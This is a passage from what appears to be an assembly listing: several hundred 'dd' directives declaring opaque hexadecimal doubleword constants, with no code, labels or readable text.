6CED299Bh, 1386C75Bh, 0B6C8221Ah, 4CD1E2F3h dd 0BD5D298Bh, 410A633Ah, 0B3E2C354h, 4452269h, 90C1DA5Bh dd 5C9EC699h, 7899C261h, 0EC58B18Bh, 0EC800120h, 43268051h dd 282587FEh, 0C8AD9B6Ah, 0E953DB1Fh, 3F807D96h, 0F7EB95AEh dd 619A1BF7h, 4FF5B6EFh, 67B67334h, 1380914Eh, 26A62AD6h dd 98398A2Fh, 5E3B0BEBh, 367F2ECFh, 0AD4FE26Bh, 4194D57Dh dd 96D5475Eh, 8CB5EE07h dd 79B62A7Ch, 3D8D77F0h, 0D604BF4Ch, 5952B33Ah, 21CF0E2h dd 29A90A7Bh, 5516EB85h, 0CEA4C164h, 0BADB48D0h, 0B0C06109h dd 11E8FAA9h, 0C7B049C2h, 59B5A160h, 83A61FC8h, 0CF2F460Bh dd 3EE4CDE6h, 91926510h, 0EBD01DDEh, 0DEC70629h, 0DA67B4C9h dd 0A2FB3C2Dh, 287D25DDh, 595B2E57h, 8A6F035Ch, 0A07605A8h dd 0B8978529h, 0EABFEE6Eh, 0D4993AFBh, 9E6215C2h, 875C17A5h dd 2B2E0F8h, 0B0814962h, 4787900Dh, 5251C3C2h, 66CAFB07h dd 1D059EBBh, 0A71CF9D2h, 0D797501Eh, 0F955106h, 65503D36h dd 699D91D7h, 9505A8E6h, 0CECBCF8Ah, 8EF7CF00h, 0D7EB8273h dd 0C9A39B2Ah, 18C90FA4h, 0FC3A9A47h, 4E41D796h, 0E22AC533h dd 69B203E2h, 8775BD16h, 695F5573h, 7F284C99h, 0F5B53A6Eh dd 0DEB206D9h, 425700D5h, 4824AF91h, 89F1F62Dh, 0C958EA35h dd 0BAFC4DD6h, 0D647CBF5h, 503D7E4Ah, 32F14F9Eh, 90604F66h dd 6AC18136h, 0BFC13FFCh, 8C16FB7Bh, 2313C14Ch, 1DC276BEh dd 0BAEFB024h, 646F37BFh, 0AB4F590Ch, 55646E61h, 12C8FE94h dd 7156F623h, 0AFEF61DBh, 28E34CCFh, 8AA17687h, 0A470FBCAh dd 2BC045DCh, 0C2FAE89Ch, 2BA979E0h, 0D55EF075h, 5866E6E7h dd 0A6DDEB44h, 8CAF14BDh, 0D602955Fh, 8E036D48h, 0B7139FAh dd 99AA71ACh, 7484CD6Ah, 57BDF03Eh, 3C3E4B36h, 0DFC932FFh dd 8FAA788Ch, 0A2667F9Ch, 24598273h, 221BDC63h, 0BBD25C61h dd 513B56D9h, 5CC40246h, 0D09E56A0h, 1950A334h, 0F96A8060h dd 3E73E590h, 1111AEB5h, 0EBC779D0h, 0BA7D2152h, 1002F630h dd 55A2398Ah, 4F9CCC75h, 0CCED0D8Dh, 1C5C7D40h, 61916453h dd 0D8206420h, 1AD766F9h, 0DE90B5EAh, 0E53652h, 68FD28FDh dd 20BF5904h, 0FD519EFBh, 11C15645h, 0FC686F35h, 3E334CE9h dd 357E399Dh, 0CF2C33FCh, 54ACD2B7h, 0ABA2212Dh, 773CC23Dh dd 0FE6B5A3Dh, 0E8762E82h, 0DD2A39F5h, 1C7C3746h, 0AB31FACFh dd 43E82E11h, 0C66F5A96h, 0F5AA67CAh, 6EC3E9ACh, 96057923h dd 0CA95555Eh, 7682E8CDh, 122A9D9Fh, 737A0508h, 176E79ECh dd 4DD262AAh, 4B1126F1h, 402ACF54h, 672253B7h, 39A58493h dd 0E9590E38h, 8D3ECB54h, 0DB90EB2Fh, 28824C13h, 3DD849E0h dd 6A0C01BAh, 0A62F8F55h, 0E710DD1Ch, 0B8F1D62Bh, 111CBD70h dd 0F15516ACh, 6B0EB023h, 28878E12h, 0B82BB3DFh, 43C457B5h dd 99DA2794h, 725764E6h, 0B937E8E1h, 59F11B1Bh, 0C27ECA75h dd 0E07A1383h, 0AB78503Ch, 9FC67B00h, 0EE1E79CDh, 0CE420943h dd 0CFF930E4h, 861E122Eh, 88161A43h, 81E8AC49h, 0E5CE5535h dd 643D9245h, 8366A8B9h, 9BF1CD56h, 840BDD14h, 8F2F4693h dd 0D7320FDCh, 4D8F549Ch, 5BB512A0h, 0D39D906Fh, 0E0295328h dd 29CCFA2Ah, 64294578h, 0DABCBA0h, 24CC36C0h, 7B6EB9E1h dd 577C504Eh, 0CF3AC365h, 0E6FE7DDh, 83B1E124h, 1CF66FA9h dd 0E655B0B5h, 0A46628ADh, 69B79F89h, 0BBCA7289h, 199FF650h dd 6A29EC3Ah, 0A2BA2506h, 736D0F6h, 0F656CFACh, 56C22B52h dd 364AE505h, 0DB4CDEB4h, 36D6C755h, 676EAEA2h, 3D5DD9h dd 0B9AE5117h, 7990CE49h, 76CC7AF1h, 855479E8h, 0F27F970h dd 395F8780h, 32BC499Eh, 304DD044h, 31D09E2Bh, 0AACB6E26h dd 0CE741E71h, 22AFAD70h, 4DF075B6h, 0EDDE8188h, 0A247DF12h dd 7873C879h, 51562829h, 4B1FD2E5h, 75A67DDFh, 0AEA48794h dd 6CF53CBEh, 4D1731D4h, 135E809h, 4BE4CD67h, 4F996DD7h dd 2E81C1BEh, 9BA889F4h, 80C3E72Eh, 340ED169h, 0C6B77460h dd 4033D743h, 881995E1h, 461D0C55h, 0ED4C2EBBh, 5F61ABDEh dd 6C8F24D7h, 515778C4h, 1AA8CBFh, 1C8167A7h, 1FBC73EBh dd 99986701h, 1D30F8F3h, 0DF9F650Dh, 0E1B5BE4Eh, 3416F19Ch dd 0C313628Dh, 7F46B7CFh, 37878631h, 60B243FBh, 6DA75204h dd 77DCEC50h, 22AD281Dh, 64700F61h, 0B775763Fh, 7214E212h dd 6B061407h, 0E6E2FF70h, 0EBF0A6AAh, 5F78A55Eh, 709D266h dd 7F0E76DCh, 1441CD5Ch, 39FD81DAh, 0D764389Ch, 392FDE6Eh dd 62C57C23h, 0DC6CA508h, 0DC5C52BDh, 9B60C195h, 3257EC32h dd 0A0699096h, 6A037ABFh, 0FB4C3D18h, 9D986964h, 3D68F97Ah dd 0F029E79Ah, 0BF0EC866h, 0C1C628C8h, 0D0682723h, 0F6A849A5h dd 7511B61Fh, 90EC6428h, 40F1782Dh, 0A9D83199h, 151CF165h dd 0A7168153h, 354AA0E6h, 58BA56E3h, 0AD3EDF01h, 0B554E756h dd 0FC82CDE1h, 0A93E59A2h, 89652791h, 32FFB85Dh, 0E292BD68h dd 6BFBD564h, 3FFA3A12h, 3E56DBF6h, 0AD428D51h, 0DA848B74h dd 3C9276D3h, 6D37CB9h, 2AFDE550h, 36D7B1E5h, 0A0B9E52Dh dd 0AAA5F20h, 0B5102383h, 1537812Ch, 8994CD8h, 78DBC84Fh dd 0F745F69Bh, 0F7B64636h, 4C72DB58h, 0E3640C35h, 3481B439h dd 71F37E7Bh, 0F24F7EEAh, 0B8D14D9h, 86B57880h, 1BFBB86Dh dd 0BF1F7E31h, 71E2F861h, 0CC934C99h, 0D40056DFh, 0E4C4559Ah dd 0B534A96Ah, 54E88D74h, 3F1CFCAEh, 67D49DE1h, 9CF9081Ch dd 0F490E428h, 99F1CA0Bh, 0CBA210D2h, 3A4B05E7h, 975AE084h dd 0DEACD693h, 0FA6FAC26h, 87BE7E8Fh, 9E1AE7BFh, 2E3418BBh dd 903D452Ah, 260FFE97h, 18D2555Fh, 49EA7694h, 41F00AE6h dd 8C24202Ch, 0F88DEF20h, 0AEF530C1h, 0E7165EDh, 0BB8B3FA9h dd 30EAF252h, 0E74DA62Eh, 0DCE9BCA8h, 0B0DA20C2h, 23298C85h dd 0FEA7548Fh, 7D52ED07h, 0FC870B20h, 7EBE369Bh, 0BDB315B3h dd 89B34664h, 75FFD2E4h, 74F89794h, 30510F63h, 0C3A28411h dd 0E4C889AAh, 64FE370Bh, 7EF76F30h, 97BF4DE0h, 1BFFFFC7h dd 506FDBC0h, 0A2FF4A6Eh, 97623C88h, 0E1353B84h, 0CE1E0192h dd 0BE8AA33Dh, 83FA8B5h, 0CAE778E8h, 2BD940D2h, 3631629Bh dd 400BAC89h, 0B0DE8889h, 9AFAB393h, 0D4C50832h, 0DD8637ABh dd 7403F18h, 0C58293C2h, 9534544Eh, 96DF21C6h, 3ABC700Dh dd 705BAF01h, 8DA21F7Bh, 9C2EFD4Ah, 0B8469EC5h, 0B6D568B6h dd 17FBB864h, 7904610Ch, 81CB2A38h, 0DB6D377Ch, 74AA1D5Dh dd 0B588937Dh, 4A57B2FBh, 0CBA6C89Ah, 1E2B19DEh, 0CA5C1941h dd 1F37530Dh, 2EF1701Eh, 123F5885h, 0F01BDD87h, 0EEFBA097h dd 53E39264h, 567D594Ah, 0E1F56485h, 590D5571h, 89DCC415h dd 65D0B645h, 89E991DCh, 0E4273C4Bh, 88E8E5Bh, 6106B767h dd 8DB02h, 0F8D54949h, 414F97E6h, 0B3D853D8h, 0FDC69485h dd 47367B3Dh, 6729CA11h, 60BB5740h, 0F18522D4h, 0FFDAD3h dd 0EE5D9EA3h, 0D2ED289Dh, 1F3507DDh, 0D27E2D4Ah, 9EE77DDCh dd 94662FF8h, 0CF97E6DCh, 6A688C1h, 742FB7FAh, 0C79A7A1Ah dd 67BAAFACh, 43B491ADh, 11125662h, 0B1CBDAB0h, 29668FE5h dd 29CD45BAh, 0B457446Fh, 0D2119E6Bh, 3FF3902h, 852F7A0Dh dd 6EEE7BD5h, 58DECCB6h, 5E8D2637h, 0FDE6A3BAh, 0F866A565h dd 44017234h, 0BF91DD80h, 0EAAF1336h, 24FFCE5Fh, 0F09330FAh dd 0F4226F93h, 44629F53h, 16B91BBFh, 1A61456h, 69C3F93Eh dd 750989C2h, 15C6CE46h, 1658D835h, 47F9062Bh, 489C7C2Ah dd 2C5A24D9h, 0FE1337FDh, 0B76382B6h, 6E45F101h, 0B78CA14Ah dd 0B292E787h, 406118FFh, 792F5EDCh, 0EC8DDB25h, 92351A5Fh dd 6D4C0E75h, 82835019h, 0C7E03875h, 9346E7D8h, 0C62BB7A1h dd 0C042B3E7h, 0A77125E2h, 0ADD5F5F4h, 0A2115EAFh, 0C34FA811h dd 3E9F55D5h, 0F9360EBBh, 3368938h, 0FCC233FEh, 9BC252AFh dd 8B86FCC2h, 8755166h dd 0E79267A2h, 0B6ABFC07h, 4BD3EB59h, 3693A684h, 0A111EC29h dd 72E04365h, 1F08202Dh, 6F162EEh, 0DA1D5CD4h, 8591A059h dd 111B3591h, 246CFC60h, 30810E89h, 0DC59EA28h, 0CEB09714h dd 0FC4BE1FAh, 0DBD71231h, 0D2763E1Dh, 6BB68D91h, 5708CEA6h dd 0E148F59h, 0C75D8847h, 84409BD8h, 4429E231h, 447E7BB7h dd 3267E1ABh, 5F1BE78Ah, 4B43CE9Dh, 54C5E183h, 9C3B915Bh dd 8BB8673Fh, 1853390Ch, 0C2516175h, 8ACC59E8h, 42ACB48h dd 0B76A95h, 64BDA072h, 9DD35DEDh, 1614D019h, 0EF296EA5h dd 53280867h, 5EE13CFCh, 105697Dh, 0A7BE0BC6h, 8648C22Eh dd 0BC096EBBh, 1896368h, 0D8189FDEh, 976B57B5h, 67CDB88Dh dd 0A42D741Bh, 7EC5F060h, 0F7456C5Fh, 1E7DBB24h, 690ACBC6h dd 0E3823932h, 5E7857FCh, 3FCBD45Ch, 0ED4EBFDEh, 7369EE27h dd 35B8CD64h, 4C3548ACh, 0DFE65F28h, 0D5652455h, 3D5F43B6h dd 8D8C5EF2h, 26A90887h, 1F36DD61h, 3CEAA502h, 3FBBDE63h dd 9D4DE745h, 65A0BA4Dh, 0C25D911Ch, 0AD79653Bh, 0A49B1668h dd 0B170FC87h, 0BAFED676h, 616E2826h, 0A9810BF4h, 3AFBCE64h dd 1373428Dh, 0D8E6BB80h, 0EA6229C1h, 287D49A6h, 7FD4B393h dd 0B41D0D83h, 8351F3A3h, 0C7F641B4h, 9641EB06h, 0A5885230h dd 94345E66h, 15C2F1A3h, 381F06A4h, 4C69F5D0h, 0B9A71C71h dd 0E279E94h, 37AC63D3h, 0E9E5AFBDh, 0A0ECD36h, 89AC8E8Ah dd 0A9B15297h, 0EB9A55F1h, 40B59686h, 6CAC6D7Fh, 689E2ACh dd 21D94001h, 96B3AD7h, 4DD5A64Fh, 0D567F011h, 2181F4A8h dd 2473E0AFh, 1A9C8087h, 32159902h, 908F2056h, 1B4D0257h dd 0C9E7111h, 1C946DDh, 7934096Dh, 0CE18603Fh, 0B7D3E14Bh dd 1A4AA045h, 11FEE690h, 978AA61h, 0FA3812C9h, 0F6C66C5h dd 0D8FAE876h, 776EA52h, 13DC33ACh, 0FAA33EC3h, 539BD830h dd 840E79E5h, 0F2D4C205h, 3EC94AFFh, 0B11834Ah, 783DE32Ch dd 84ACE921h, 18727A2Ch, 2766E8E8h, 80E647EFh, 0EA308953h dd 7FCA5728h, 0EA6811EBh, 0EA1C9132h, 0F58EF262h, 0C59221DBh dd 89B043Ah, 0A9083F9h, 0F62DFB3Ah, 2DC33E81h, 0F19D528h dd 7C969FACh, 353756AEh, 9A1FFC56h, 6E3D6D82h, 69319A7Bh dd 5829BDF0h, 29E74963h, 0C85C3C70h, 49A27229h, 0E71AB0C8h dd 1AEB834Eh, 26777FC8h, 0FF99146Dh, 80DDE429h, 359AF28Ch dd 4AD3DDDFh, 2DFA85ECh, 0BBCDD845h, 0FE832787h, 2DF6D91h dd 0A297D420h, 18BE3A19h, 41154EA5h, 4DCBF48Dh, 8C93CADEh dd 75C952ECh, 8068A5ACh, 0C1C26BE7h, 6B71B3B1h, 0D19C9AC9h dd 5DDFFD46h, 0E68A2B54h, 10AC607Eh, 0AF633BE0h, 50A3960Ch dd 0FBD6383Fh, 0A303C801h, 4F2BFBDFh, 0CA6222EBh, 0E2089616h dd 71896710h, 0C2C80018h, 6A1B2B6Dh, 0DC7ABCCDh, 0B7D8A73h dd 0ABE81A0h, 9487E03h, 28C5400Dh, 0D3D8631Eh, 813FB1A0h dd 77C3A013h, 2C22F320h, 227F9346h, 5B2DBC90h, 72603139h dd 5A5B15FFh, 0B6B6E558h, 0C0812F48h, 6C76BE6Ah, 2311B5C4h dd 440C91Bh, 8E3DF2EBh, 2A2AA6A3h, 3F8CB9C3h, 0C058967h dd 39FCA5F2h, 73450DDh, 0AA216AB5h, 140E8A7Ch, 6DDAE004h dd 9E7796C0h, 0CD89B57Fh, 3DD20BFCh, 8430BADFh, 33D649B9h dd 0EE4D4D1Fh, 634CEC20h, 9C24A5EEh, 79F6A6DDh, 0EC20D987h dd 0D910CC7Dh, 0CEEE2BCCh, 1BE020BFh, 35519362h, 770FEC78h dd 0B88B28A9h, 0D7E6052Bh, 5262AD0Bh, 21FF3380h, 4FA09431h dd 3D99A8CAh, 0E26C2F89h, 0AC912E2Fh, 53F2514Bh, 0FB077589h dd 2DA0879Ch, 3F959A9Bh, 9AA5684Bh, 2535518Ah, 0FF1D0405h dd 47C90CF1h, 0EFBD96C3h, 0CC9E767h, 90E0CAE2h, 0FBD23A19h dd 50E895A4h, 6BFF3B2Fh, 3EE8DBC8h, 0FE4B3F89h, 0DC568738h dd 8BF65F81h, 4FE3AFEh, 7B7126F1h, 2CFAAB3Ch, 0A9D8F041h dd 9B17A67Eh, 7D9F0550h, 0E692137Ah, 70E0F81Bh, 0F55705DDh dd 781D82Ah, 27D58967h, 8C47FBBAh, 0E034ED5Dh, 0E34FEA47h dd 0C731DB2Ch, 0C7B3F73Ch, 7DBC70E6h, 0F47D2A2Fh, 60BF9F5Ch dd 0BB905C27h, 0AE55C521h, 988B4981h, 0E8299115h, 1DDB8B3Bh dd 0B442AB57h, 28460A30h, 814E804Ah, 0FFB17DC4h, 8EDFFEB1h dd 0DC28C834h, 97FC15EEh, 9B8B4BE1h, 66F78631h, 0C5590FA7h dd 901E2ABCh, 0C08182B7h, 2D5B9807h, 9877A3Bh, 352C3EE0h dd 40D4C030h, 0AC325BB4h, 8BCDFD84h, 0D667B3B0h, 858B4442h dd 0BB52034Dh, 0B44481DEh, 0A0C6DDA2h, 17E508D6h, 0C059B166h dd 3F65A242h, 25A9FF95h, 9F85D432h, 0F891D601h, 7304DD0Fh dd 276877DBh, 0D3501D32h, 3BF8C44Ch, 5A84AE88h, 34C9B828h dd 0BE8E8CD9h, 1ADC68F2h, 0F41F391Dh, 3A52182Fh, 7BEE7F9h dd 3EF16D8Eh, 22587DA6h, 92D32004h, 431741BAh, 0C89B6F88h dd 0A8715CCh, 0F230DC83h, 0A0D66DCCh, 6F907CF9h, 9518005Dh dd 77EC21C8h, 0A163EAA8h, 0BFF6FA4Fh, 0E9ADEF8Bh, 0DCC3391h dd 0E1723393h, 19512D51h, 0B081C450h, 550FD65Eh, 65C1627Eh dd 3A7BD663h, 89650D78h, 573B1AFFh, 0EC42FF37h, 0CEEBC74Fh dd 39290EDDh, 4945F5A0h, 7EE147AEh, 2474E0EFh, 2FDBBEB3h dd 7AE6B405h, 15AC978Fh, 0B936C9E5h, 1E05F243h, 0A5E0E4BBh dd 4D248FFEh, 2DD365FEh, 0C3519F4Ah, 6B22CF5Ch, 44A05ED6h dd 0A5B749CDh, 0EA3603ADh, 0DB6F8C16h, 72BD7CDh, 5CC83A09h dd 79B09B5Fh, 96795A9h, 0C6B65AFAh, 0B37B2BEEh, 0BF662DE6h dd 0CADFE84h, 7DEA4947h, 7E7FEDF7h, 2CF350C0h, 0DDFDF43Fh dd 45148196h, 39B05CEh, 6D2E4517h, 0EEB60BC5h, 26F73682h dd 9D96E414h, 63125D1Ch, 0FEB60F3Eh, 0D8F9AABFh, 0D8CD271Dh dd 5E2726CFh, 4ECE31B8h, 610C305h, 0AD6372B7h, 91F11500h dd 7CC522E5h, 35BEB7D4h, 7382233Ch, 0E9A4363Ch, 3D658F1Eh dd 0D312FB79h, 0D9A26B99h, 5FB3A7D6h, 0FBA863E2h, 0AC703F29h dd 0A50ABD37h, 70A1BB43h, 0C2113681h, 450E7F34h, 69E844B4h dd 0C2EA5EC2h, 0A2AA5558h, 24F172BCh, 2D2B528Fh, 115823D0h dd 8CA1489Eh, 17C912DAh, 9C5816ECh, 0B2129C9Dh, 0BD71BEFAh dd 0D1B202AAh, 0CFF05D14h, 0F061CAB3h, 0C897F88h, 174166AEh dd 0E41BDCBAh, 48AFA129h, 0C112BD5Dh, 7E75A808h, 81A5801Ch dd 0D732BBF9h, 9648D46Dh, 32ABB0C3h, 280810E2h, 99FFEAA1h dd 45071573h, 0E5E3E22Dh, 0D403E053h, 94694063h, 8574CC5h dd 0FB4664A1h, 75E44B7Ch, 2E7C63D9h, 12332BACh, 6AE37D32h dd 0D174F379h, 443CE234h, 89382721h, 78D9562h, 0A0A18C96h dd 0B05378D7h, 8ED051E8h, 0CEF7207Fh, 0C2508964h, 227C623Eh dd 13BB2C71h, 52980C78h, 0D4BE23B0h, 4A96CA89h, 5F58E3Ah dd 5A46C7C9h, 0C558F29Fh, 19B5738h, 100F22BEh, 85005E88h dd 18521D26h, 28F1B040h, 7830E0F0h, 3742CC25h, 62FBC93Eh dd 0DC231E23h, 87C0857Bh, 0F0BEA5DDh, 63BC244h, 0F417201Ch dd 7B2A0BFBh, 7750A6C3h, 52021862h, 115433C8h, 0F2B16DECh dd 91BDE5EDh, 0B39DA96Fh, 63D35640h, 222D8E65h, 5DA19E0h dd 13CB8A6Ch, 0BE7BC203h, 0A7DC436Fh, 0B372F856h, 0C4E3B09Ah dd 0D99021ECh, 0C55BD21Dh, 0FC55FC76h, 5F11B69Fh, 99D9E9CEh dd 16E8B8A7h, 12376A8Eh, 0E298AA9h, 9F58668Ch, 6C419DDh dd 6843F3C7h, 0A1A1E22Bh, 0F8B8E3C8h, 9073B073h, 0D78EFAA7h dd 50E1AABBh, 189DC553h, 0B2E95837h, 0D5C078F2h, 933410Eh dd 97E71300h, 6688A54Fh dd 972818DEh, 3663AF6Eh, 0F3B00BA6h, 0A241027Ah, 6174BCBEh dd 40949756h, 688DDE66h, 4ACD75BFh, 0BD1E3FF4h, 8A988AB3h dd 8918FB51h, 0DCAB54D9h, 1FECB514h, 0D9417992h, 20B97D56h dd 383F18DCh, 9BDE64D9h, 0FFD128B0h, 2B459412h, 0E55FB898h dd 0B7F5867Ch, 0B066C748h, 308D95C0h, 0F791101Fh, 0C2AA61D2h dd 10CCF0B0h, 51583FE2h, 3EFAC3A3h, 0FFF7BDC0h, 282BE400h dd 0D5CC5AB1h, 64E202D0h, 0E664DFF0h, 0CD0A906h, 0CC88943Fh dd 0B81A069h, 3F215909h, 944413C9h, 0A8052FE0h, 6933A45Bh dd 5F48D97Eh, 96BD682h, 0D2FD64Ah, 16F11365h, 7F733092h dd 4BC30D32h, 171E2694h, 5EE74EB5h, 0CA799C71h, 0CD5852A1h dd 0DE175C04h, 59F191A3h, 0DD880171h, 0E65429F8h, 7FF8FADFh dd 4CBE7396h, 7D6DE290h, 0F91444FDh, 340DC0A0h, 221A27C2h dd 567FB03Ch, 59DDC514h, 0A2E79526h, 7192DDB9h, 0A976B7D8h dd 30E110F5h, 0E0312EE0h, 5C094537h, 5E9461C0h, 0FD6C7B1Ch dd 87214A38h, 947AFC2Eh, 0B4F0D075h, 2A29630Bh, 3D4500EFh dd 0BC4F66Fh, 0F9690AC0h, 9CCF34B9h, 4C0E17BEh, 9E7A20EFh dd 0A7F91C41h, 0E4B498E5h, 4431CF55h, 62BD3394h, 5B1FA539h dd 0CDF049F7h, 0D2C76A63h, 83A21169h, 8679A49Bh, 187D1A91h dd 753A2D1Dh, 0FAF6BFA8h, 0C0EA8E8Dh, 968D8778h, 81C9CFBAh dd 2DE60286h, 0F60F52FCh, 15C05205h, 47E2CF0Ch, 0DE854992h dd 49EC65A4h, 37CC83CAh, 56FD7E5Eh, 0E908678Bh, 71A855C4h dd 0F9721382h, 0EC613884h, 0BC75CD49h, 37F1424Ch, 8D500B1h dd 0C55D281h, 3CD69D15h, 405DAA36h, 0B8893723h, 0DF9DEF5Eh dd 0BF51CDA2h, 0E208096Ah, 9DE30DE8h, 0CDC7B83Eh, 5B924AAAh dd 63A211E5h, 0F2330E0Fh, 8E2C9B3h, 0BDF118E4h, 2FEA5496h dd 0F4E40265h, 0EFAEE82Ah, 0C0DD8FA8h, 58ED247Dh, 5F222394h dd 0F7E2CA55h, 52CB3D68h, 90113FDAh, 5B9CDDAFh, 0CD5D5279h dd 0E019A490h, 69239F85h, 0F8A4EE6Ch, 0C1FF06AAh, 0ED806542h dd 0C79C8F29h, 8AE330A3h, 3EED2B7Ah, 4C8CA97Ah, 8B5E8686h dd 0ADBC8D2Dh, 0AC11A5BEh, 0A128D0Eh, 0C4ECE36Bh, 2475336Dh dd 0DD65B6B9h, 0D5041852h, 628E77D9h, 0C04917D3h, 19F16533h dd 800BCB99h, 0C7527045h, 3461286Bh, 9B8C4F0h, 1C20CBE6h dd 3AD76BA8h, 6FA8332Ch, 0BB9A321Dh, 0B6D2A685h, 9143D82Ch dd 0D03F5EEEh, 733EF352h, 0FF70A173h, 52AC5ED1h, 0ADF3E22Bh dd 0E358C18Ah, 0B3049D72h, 0E91E3B78h, 25C6EC49h, 1EF3D38Ch dd 0BE97F2BAh, 24EAB37Fh, 0A2B0E40Ch, 586EBA2Dh, 109C5F14h dd 199CC750h, 6445A537h, 0D78FEA8Fh, 0DB74EB05h, 9E48B91Dh dd 582E90B7h, 0D27C8ADDh, 2FA27D79h, 51559B4Dh, 820C793Fh dd 9973793Bh, 5D1063D7h, 8EE78079h, 2EC13371h, 432886E2h dd 875E9AEEh, 0E87C06C3h, 0E34C9103h, 0F4A011D1h, 6F6C2EBEh dd 9990418Ah, 56CD2F33h, 67A53903h, 0E5F46388h, 254E8146h dd 0F8F3E109h, 257FA7B5h, 288B6780h, 0F463F13Eh, 49C67BFEh dd 383D3639h, 0B60574D6h, 0A4183CA5h, 736F5AEDh, 0E967BBA2h dd 6BAABEEBh, 0F471CF62h, 2C3AF631h, 69B7BF4Dh, 3C52FCB1h dd 0E14A2CF9h, 0A281B05Bh, 2EA301A3h, 31CFB719h, 2E46D84Bh dd 7863FD08h, 0AA7F466Ah, 0CE993488h, 0AFA4433Dh, 6CCD232Dh dd 3880FEF3h, 593074D1h, 382519Ch, 7FE2BB6h, 847FE0C9h dd 199164Ah, 0AD61D04Ah, 8BE72EF7h, 0E599EECDh, 0B28CF569h dd 846EE7E4h, 0C07FB32Eh, 6A30313Ah, 9F70CE23h, 0F73953D2h dd 0EDB9AB6Fh, 60E73631h, 1192DB1Bh, 11E8445h, 0D313F3A0h dd 2F5DD279h, 51E06CC9h, 0DFC750DDh, 4836E9E8h, 0ED14EE4Ah dd 79438B96h, 8FFC3639h, 7934FFC7h, 66499114h, 9AD3ED11h dd 873D0B81h, 0C499612Ah, 0D5FEF1B4h, 0A8BAEE6Eh, 4797A124h dd 510E8590h, 0FC984552h, 7BCBBEC1h, 0C4828D4Eh, 23CDE6FEh dd 0E68E5661h, 6BB4BE64h, 9A9D622h, 2B3AFF38h, 643E1AF2h dd 0D0F938C2h, 0B6E97017h, 6337A8Bh, 8E3ABE0Dh, 0CD5B21Eh dd 6B4DCE9Dh, 0BF881AFh, 0CFDB4672h, 0C1C1981Bh, 47AC8D2Dh dd 8113927Ch, 6F2E21A4h, 0F3FA3CB1h, 0D9F2DBD2h, 8C91B5E0h dd 0D649C23Ah, 0BF18C7E4h, 7D47C851h, 0D1E44D46h, 0CF516DF6h dd 0E4DFA30Ah, 41D90178h, 2324E9B2h, 0CB831E88h, 3638AE9h dd 0D04EE99Bh, 27A7560Fh, 74BC9D91h, 184ECA31h, 92DDE65Fh dd 2D1DE568h, 8E0E6552h, 0CA1BDAECh, 0A929FA20h, 3862F03Dh dd 471C5D14h, 840B5C5Fh, 3CFF52B1h, 0A656012Fh, 0AB69D028h dd 1E5A8294h, 0F624822Dh, 0B7CCA815h, 0DB5038B2h, 25A76DD3h dd 56228446h, 7CC942FAh, 94B74694h, 39B85AF8h, 0F1B956D8h dd 0F64F8E54h, 0C551D33Dh, 0C3D69823h, 0C56196DDh, 74C18A9Fh dd 0CA0320AFh, 7420FA2Bh, 94247CF1h, 39E4A0C9h, 6BFA2E74h dd 0E0730ADh, 0F1777E1Eh, 0C94CDD9Ch, 6FA0B25Bh, 604C5875h dd 412BD0AAh, 0B20AAEC1h, 6795CE7Ah, 17B663EDh, 0E8558D2Dh dd 0BF563FD3h, 9F27CC2Dh, 759AF70h, 0F5AA498Ah, 0DABF4DC8h dd 1DA147EFh, 12A879DCh, 0C02BFC27h, 0DA858AB6h, 40AF011Fh dd 36CBA7C0h, 0A1342FEh, 4C699D99h, 4F5B4E76h, 152E838Ah dd 3EDC71BEh, 0A69073BFh, 4E737643h, 0F8C1BF05h, 0E6B338FEh dd 3A4DAD08h, 0B264945Dh, 79BED411h, 4AEFBF9Ah, 65FF967Fh dd 11725CAAh, 0A763D09Bh, 0A50877B6h, 8576EF9h, 17FEAB84h dd 0D15B06D8h, 0EB063DA2h, 0F047BC05h, 0AA0A0346h, 0F2F49863h dd 0DF4FAB5h, 8D924D3h, 135033EBh, 15D77893h, 89A033FEh dd 53CED304h, 8FD9D4ADh, 607DAA7Bh, 82840CF9h, 93B660C8h dd 2BAB7FBCh, 0C82ED197h, 541ACBCBh, 9C21296h, 0AF3E0317h dd 79063142h, 290943E5h, 0C96289C6h, 6E84DB51h, 0A906CE6h dd 0A60B6057h, 0C2235B9Ch, 1248F0BDh, 53AA26B0h, 80F5925Ah dd 834C2C60h, 52FFC43h, 1E98AB59h, 9959ED59h, 0FB0ABD2Dh dd 1EA6BEFFh, 0E717C795h, 39397085h, 521520D4h, 4425A545h dd 8582ADBDh, 448CC512h, 0E66BDAC7h, 0ED70D339h, 0C22D440h dd 0B4844ECDh, 0D508D648h, 4537A312h, 0E6863C54h, 0FFB437BCh dd 4187DE2Ah, 0F704E9F1h, 0EFE857C2h, 0C483400Dh, 1C09BA87h dd 0F790F39Eh, 0E98B5417h, 0D17CF51Dh, 70707D77h, 632BF427h dd 43A2D48Dh, 3FD9FCE2h, 0E4AE798Eh, 6A656A0Dh, 0B134BCACh dd 601510A4h, 7161563Bh, 1970BE68h, 90D9D68Ah, 0FB03A5B3h dd 189F0F57h, 42935247h, 2D62B7CCh, 0EA53F508h, 7152783Dh dd 95D90E8Bh, 7102B7B0h, 6C47BFB2h, 513A8021h, 0A408ECDCh dd 90EBB141h, 0EE7F37D7h, 25BDADE5h, 171F32FEh, 795D0C32h dd 4C286280h, 47BC9F65h, 0C96AD30Eh, 2304B656h, 0CB22D362h dd 0FDBF9113h, 501B6B30h, 36E8B13Bh, 91DFBC6Eh, 0F3258B55h dd 0F12CD888h, 0D3F0BC7Ch, 0F50BEE02h, 0F5C07686h, 0B5008D69h dd 0D1650A57h, 0DEF8EAD3h, 69F020F5h, 160ECA91h, 0DC391DA4h dd 0E19CF75Ah, 0DD8B3AE3h, 0D0CF5A51h, 9CDEB5A6h, 0FE1198E0h dd 0CDF8084Eh, 977B0232h, 0FA78A84Fh, 0E31D3Eh, 1BCA7E30h dd 938FCA96h, 597A771Eh, 55F65343h, 0BEB7E3D3h, 0B351D07Bh dd 22C2CB8Bh, 24363E78h, 46EA75D5h, 0DBD92E09h, 0ED3B42F2h dd 0A04F462Ch, 0DA848D7Ch, 0C9AB4B3Ah, 3DCDDE18h, 9260C94Ch dd 0B83574E5h, 5A8A4D34h, 5050BB17h, 0BCD701Fh, 26AF0589h dd 4DE0EC55h, 0BDFE46DBh dd 10DFCDE2h, 0A0A93CDEh, 292713B9h, 8712D186h, 3EB18CBBh dd 367DDBA5h, 518C5CE2h, 0BF7E8756h, 90D739FDh, 9FA3236Bh dd 6688F3C0h, 0D171AC44h, 0A8988C4Dh, 7B882965h, 4ACBEB8Ch dd 8493C78Ah, 8A223EFDh, 0E68497E1h, 22FB9918h, 0BF9498B8h dd 386E115Bh, 